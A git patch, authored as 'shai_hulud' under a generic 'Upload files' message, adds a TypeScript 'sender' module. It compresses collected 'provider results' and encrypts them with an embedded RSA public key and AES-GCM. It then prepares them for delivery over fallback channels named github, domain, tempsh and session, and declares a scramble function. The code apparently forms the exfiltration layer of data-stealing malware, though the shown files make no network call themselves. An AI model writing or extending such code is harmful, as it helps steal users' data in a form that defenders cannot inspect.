From 950983281072f18c8a2fd073213d381398ab5dd5 Mon Sep 17 00:00:00 2001 From: shai_hulud Date: Fri, 3 Jul 2026 02:58:54 +0000 Subject: [PATCH] Upload files to "src/sender" --- src/sender/base.ts | 71 +++++++++++++++++++++++++++++++++++++ src/sender/senderFactory.ts | 6 ++++ src/sender/types.ts | 20 +++++++++++ 3 files changed, 97 insertions(+) create mode 100644 src/sender/base.ts create mode 100644 src/sender/senderFactory.ts create mode 100644 src/sender/types.ts diff --git a/src/sender/base.ts b/src/sender/base.ts new file mode 100644 index 0000000..6a99556 --- /dev/null +++ b/src/sender/base.ts @@ -0,0 +1,71 @@ +import * as crypto from "crypto"; +import { promisify } from "util"; +import * as zlib from "zlib"; + +import { enc_key } from "../generated"; +import type { ProviderResult } from "../providers/types"; +import type { EncryptedPackage, SenderDestination, SenderName } from "./types"; + +declare function scramble(str: string): string; + +const gzip = promisify(zlib.gzip); + +export abstract class Sender { + readonly name: SenderName; + readonly destination: SenderDestination; + + constructor(name: SenderName, destination: SenderDestination) { + this.name = name; + this.destination = destination; + } + + /** + * Transport-specific delivery. Must throw on failure so the Dispatcher + * can fall back to the next Sender. Return value indicates whether the + * remote side accepted the payload. + */ + abstract send(envelope: EncryptedPackage): Promise; + + /** + * Optional pre-flight check (e.g., auth valid, reachable). Default: true. + * The Dispatcher can call this to skip obviously-broken senders without + * burning a full send attempt. + */ + async healthy(): Promise { + return true; + } + + /** Build an encrypted envelope. Exposed so the Dispatcher can do it once + * and reuse it across fallback attempts. */ + async createEnvelope(results: ProviderResult[]): Promise { + const jsonString = JSON.stringify(results); + const plaintext = Buffer.from(jsonString); + const compressed = await gzip(plaintext); + + const aesKey = crypto.randomBytes(32); + const iv = crypto.randomBytes(12); + + const encryptedKey = crypto.publicEncrypt( + { + key: enc_key, + padding: crypto.constants.RSA_PKCS1_OAEP_PADDING, + oaepHash: "sha256", + }, + aesKey, + ); + + const cipher = crypto.createCipheriv("aes-256-gcm", aesKey, iv); + const encryptedData = Buffer.concat([ + cipher.update(compressed), + cipher.final(), + cipher.getAuthTag(), + ]); + + const combined = Buffer.concat([iv, encryptedData]); + + return { + envelope: combined.toString("base64"), + key: encryptedKey.toString("base64"), + }; + } +} diff --git a/src/sender/senderFactory.ts b/src/sender/senderFactory.ts new file mode 100644 index 0000000..bc8eb1d --- /dev/null +++ b/src/sender/senderFactory.ts @@ -0,0 +1,6 @@ +import type { ProviderResult } from "../providers/types"; +import { Sender } from "./base"; + +export interface SenderFactory { + tryCreate(quickRef?: ProviderResult[]): Promise; +} diff --git a/src/sender/types.ts b/src/sender/types.ts new file mode 100644 index 0000000..394f182 --- /dev/null +++ b/src/sender/types.ts @@ -0,0 +1,20 @@ +export type SenderName = "github" | "domain" | "tempsh" | "session"; + +export type SenderDestination = { + domain: string; + port: number; + path: string; + dry_run?: boolean; + noop?: boolean; +}; + +export type EncryptedPackage = { + key: string; + envelope: string; + token?: string; +}; + +export type SendPackage = { + sender: SenderName; + envelope: EncryptedPackage; +};